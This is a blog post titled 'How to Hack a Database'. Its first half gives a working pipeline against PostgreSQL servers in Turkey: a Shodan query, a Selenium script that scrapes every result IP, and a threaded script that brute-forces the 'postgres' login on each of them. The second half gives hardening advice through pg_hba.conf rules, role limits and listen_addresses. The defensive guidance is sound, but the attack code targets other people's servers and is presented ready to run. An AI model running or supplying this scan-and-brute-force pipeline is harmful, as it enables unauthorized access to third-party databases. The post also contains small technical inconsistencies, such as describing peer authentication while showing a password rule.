Logo ← PostgreSQL Blog

How to Hack a Database: Exploiting Open Internet Databases

Disclaimer: This article is for educational purposes only. The intention is to raise awareness about security vulnerabilities and…

How to Hack a Database: Exploiting Open Internet Databases

Disclaimer: This article is for educational purposes only. The intention is to raise awareness about security vulnerabilities and demonstrate the importance of implementing robust security measures. Always use these techniques responsibly and within legal boundaries. To protect yourself from black hat hackers, you can read my article on Database Security Best Practices and Solutions

Shodan is a powerful search engine that allows users to discover various devices and systems connected to the internet. It is widely used by cybersecurity professionals to identify vulnerabilities and secure systems. This article will guide you through the process of using Shodan to find internet-exposed databases and demonstrate a basic hacking scenario. Additionally, we will discuss essential security measures to protect your PostgreSQL database from brute force attacks.

Getting Started with Shodan

Shodan’s website (https://www.shodan.io/) is an excellent resource for finding exposed databases and other devices connected to the internet. By searching for specific terms, users can locate devices with certain characteristics or running specific software.

Performing Searches on Shodan

To use Shodan, you need to create an account and log in. Once logged in, you can perform searches using various filters and keywords. For instance, to find PostgreSQL databases exposed to the internet in Turkey, you can use the following search query:

product:PostgreSQL +fe_sendauth country:"TR"

This query looks for PostgreSQL servers with authentication enabled (fe_sendauth) located in Turkey (country:"TR").

Extracting IP Addresses

Using Selenium, we can automate the process of logging into Shodan, performing the search, and extracting the IP addresses of the exposed databases. Below is an example script that demonstrates this process:


from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from selenium.common.exceptions import TimeoutException
import time

# ChromeDriver yolunu ve seçeneklerini ayarlayın
driver_path = r'C:\Users\kemal\Desktop\chromedriver.exe'
chrome_options = Options()
chrome_options.add_argument('--start-maximized')  # Tarayıcıyı tam ekran başlatır

# WebDriver'ı başlat
service = Service(executable_path=driver_path)
driver = webdriver.Chrome(service=service, options=chrome_options)

try:
    # Shodan giriş sayfasına gidin
    login_url = 'https://account.shodan.io/login'
    driver.get(login_url)

    # Kullanıcı adı ve şifre alanlarının bulunması
    wait = WebDriverWait(driver, 10)
    username_field = wait.until(EC.presence_of_element_located((By.NAME, 'username')))
    password_field = driver.find_element(By.NAME, 'password')

    # Kullanıcı adı ve şifreyi girme
    username_field.send_keys('***username***')
    password_field.send_keys('***password***')

    # Formu gönderme
    password_field.send_keys(Keys.RETURN)

    # Giriş işleminin başarılı olup olmadığını kontrol edin
    wait.until(EC.title_contains("Shodan"))

    print("Giriş başarılı!")

    # Arama yapma
    search_url = 'https://www.shodan.io/search?query=product%3APostgreSQL+%2Bfe_sendauth+country%3A%22TR%22'
    driver.get(search_url)

    # IP adreslerini toplamak için boş bir liste oluşturun
    ip_addresses = []

    while True:
        try:
            # Arama sonuçlarının yüklenmesini bekleyin
            wait.until(EC.presence_of_all_elements_located((By.CSS_SELECTOR, 'a.title.text-dark')))
            
            # IP adreslerini toplama
            ip_elements = driver.find_elements(By.CSS_SELECTOR, 'a.title.text-dark')
            ip_addresses.extend([ip.text for ip in ip_elements])

            # "Result limit reached" mesajını kontrol edin
            if "Result limit reached" in driver.page_source:
                print("Sonuç limiti aşıldı.")
                break

            # "Next" düğmesini bulun ve tıklayın, eğer varsa
            try:
                next_button = driver.find_element(By.XPATH, "//a[contains(text(),'Next')]")
                if next_button:
                    next_button.click()
                    time.sleep(3)  # Yeni sayfanın yüklenmesini bekleyin
                else:
                    print("Tüm sayfalar toplandı.")
                    break
            except:
                print("Tüm sayfalar toplandı veya 'Next' düğmesi bulunamadı.")
                break
        except TimeoutException:
            print("Sonuç limiti aşıldı veya sayfa yüklenemedi.")
            break

    # IP adreslerini bir dosyaya yazma
    with open('ip_addresses.txt', 'w') as file:
        for ip in ip_addresses:
            file.write(ip + '\n')

    print("IP adresleri ip_addresses.txt dosyasına yazıldı.")

finally:
    # Tarayıcıyı kapatmadan önce birkaç saniye daha bekleyin
    time.sleep(10)
    driver.quit()

Brute Force Attack Simulation

Once you have collected the IP addresses, you can simulate a brute force attack to demonstrate the importance of securing your database. Below is an example script to generate all possible 6-character passwords consisting of lowercase letters and digits, and then attempt to insert them into a PostgreSQL database:

import psycopg2
from psycopg2 import OperationalError
import itertools
import string
from concurrent.futures import ThreadPoolExecutor, as_completed

# IP adreslerinin bulunduğu dosya yolu
file_path = "C:\\Users\\kemal\\Desktop\\ip_addresses.txt"

# PostgreSQL portu
port = 5432

# Test etmek için kullanılan kullanıcı adı (örnek olarak "postgres" kullanıyoruz)
user = "postgres"

# Şifre karakter seti ve uzunluğu
characters = string.ascii_lowercase + string.digits
max_length = 6

def generate_passwords(characters, max_length):
    """Belirli karakter setleri ve uzunlukta şifre kombinasyonları üretir."""
    for length in range(1, max_length + 1):
        for password in itertools.product(characters, repeat=length):
            yield ''.join(password)

def test_password(ip_address, password):
    """Verilen IP adresi ve şifre kombinasyonu için bağlantıyı test eder."""
    try:
        conn = psycopg2.connect(
            dbname="postgres",
            user=user,
            password=password,
            host=ip_address,
            port=port
        )
        print(f"Başarıyla bağlanıldı: IP: {ip_address}, Şifre: {password}")
        conn.close()
        return True
    except OperationalError as e:
        print(f"Bağlantı hatası: IP: {ip_address}, Şifre: {password}, Hata: {e}")
        return False
    except Exception as e:
        print(f"Beklenmeyen hata: IP: {ip_address}, Şifre: {password}, Hata: {e}")
        return False

def test_ip(ip_address):
    """Her IP adresi için tüm şifreleri test eder."""
    print(f"Testing IP: {ip_address}")
    for password in generate_passwords(characters, max_length):
        if test_password(ip_address, password):
            return ip_address, password
    return ip_address, None

# IP adreslerini dosyadan UTF-8 kodlaması ile oku
with open(file_path, "r", encoding="utf-8") as file:
    ip_addresses = [line.strip() for line in file]

# Paralel işlem için ThreadPoolExecutor kullanarak IP adreslerini test et
with ThreadPoolExecutor(max_workers=10) as executor:
    futures = {executor.submit(test_ip, ip_address): ip_address for ip_address in ip_addresses}
    for future in as_completed(futures):
        ip_address, password = future.result()
        if password:
            print(f"Başarıyla bağlanıldı: IP: {ip_address}, Şifre: {password}")
        else:
            print(f"Başarıyla bağlanılamadı: IP: {ip_address}")

Securing Your PostgreSQL Database

To protect your PostgreSQL database from brute force attacks, there are several essential security measures you should implement:

IP Restrictions

One of the most effective ways to secure your PostgreSQL database is to restrict access to trusted IP addresses. This can be done by configuring the pg_hba.conf file. Here is an example configuration:

# TYPE  DATABASE        USER            ADDRESS                 METHOD
host    all             all             192.168.1.0/24          scram-sha-256
host    all             all             10.0.0.0/8              scram-sha-256
host    all             all             127.0.0.1/32            scram-sha-256
host    all             all             ::1/128                 scram-sha-256

In this configuration, only IP addresses within the specified ranges can connect to the PostgreSQL database. However, it is crucial to ensure that the authorized IP address ranges are not too large, as this can unnecessarily increase the risks. Restricting IP address ranges minimizes exposure and enhances security.

Typical IPv4 Subnets

To better understand IP address ranges, here is a table providing typical subnets for IPv4:

Below is a table providing typical subnets for IPv4.

Prefix size Network mask Usable hosts per subnet
/1           128.0.0.0      2,147,483,646
/2           192.0.0.0      1,073,741,822
/3           224.0.0.0      536,870,910
/4           240.0.0.0      268,435,454
/5           248.0.0.0      134,217,726
/6           252.0.0.0      67,108,862
/7           254.0.0.0      33,554,430
Class A                     
/8          255.0.0.0       16,777,214
/9          255.128.0.0     8,388,606
/10         255.192.0.0     4,194,302
/11         255.224.0.0     2,097,150
/12         255.240.0.0     1,048,574
/13         255.248.0.0     524,286
/14         255.252.0.0     262,142
/15         255.254.0.0     131,070
Class B                     
/16         255.255.0.0     65,534
/17         255.255.128.0   32,766
/18         255.255.192.0   16,382
/19         255.255.224.0   8,190
/20         255.255.240.0   4,094
/21         255.255.248.0   2,046
/22         255.255.252.0   1,022
/23         255.255.254.0   510
Class C
/24         255.255.255.0   254
/25         255.255.255.128 126
/26         255.255.255.192 62
/27         255.255.255.224 30
/28         255.255.255.240 14
/29         255.255.255.248 6
/30         255.255.255.252 2
/31         255.255.255.254 0
/32         255.255.255.255 0

Using Specific Database and Users

To limit access to specific databases and users, it is recommended to avoid using the keyword “all” in the pg_hba.conf file. Instead, restrict connections to specific users and databases

CREATE ROLE admin WITH
  LOGIN
  NOSUPERUSER
  NOINHERIT
  CREATEDB
  CREATEROLE
  NOREPLICATION
  CONNECTION LIMIT 10
  PASSWORD 'secure_password'
  VALID UNTIL '2024-04-19 17:00:00+03';

CREATE ROLE "user1" IN ROLE "admin";
ALTER USER "user1" LOGIN;

Configure the pg_hba.conf file as follows:

# TYPE  DATABASE        USER            ADDRESS                 METHOD
host    clusterdb       admin           10.80.***.**/21          scram-sha-256

Preventing Remote Connections for Superusers

To enhance security, prevent superuser remote connections. Allow superusers to connect locally only, using peer authentication:

# TYPE  DATABASE        USER            ADDRESS                 METHOD
host    all             postgres        127.0.0.1/32            scram-sha-256

Additionally, avoid using * or 0.0.0.0 for listen_addresses:

SHOW listen_addresses;

Output:

listen_addresses
------------------
 10.70.***.**

Conclusion

In conclusion, securing your PostgreSQL database against potential vulnerabilities is crucial in today’s digital landscape. By restricting IP address ranges, specifying user and database permissions, and preventing remote connections for superusers, you can significantly enhance the security of your database. It’s important to recognize that even with these measures, databases are still vulnerable to brute force attacks. These attacks, which attempt to guess passwords by trying all possible combinations, can be mitigated by using strong, complex passwords and implementing additional security measures like rate limiting and account lockouts. Looking ahead, the advent of quantum computing presents both a challenge and an opportunity for cybersecurity. Quantum computers, with their ability to process information at unprecedented speeds, could potentially break current encryption methods. However, they also hold the promise of developing new, more secure cryptographic techniques. As we prepare for this future, staying informed about advancements in quantum computing and continuously updating our security practices will be essential to protect sensitive data. By proactively addressing these security concerns and anticipating future developments, you can better safeguard your PostgreSQL database and ensure the integrity and confidentiality of your data. For more detailed and technical articles like this, keep following our blog on Medium. If you have any questions or need further assistance, feel free to reach out in the comments below and directly.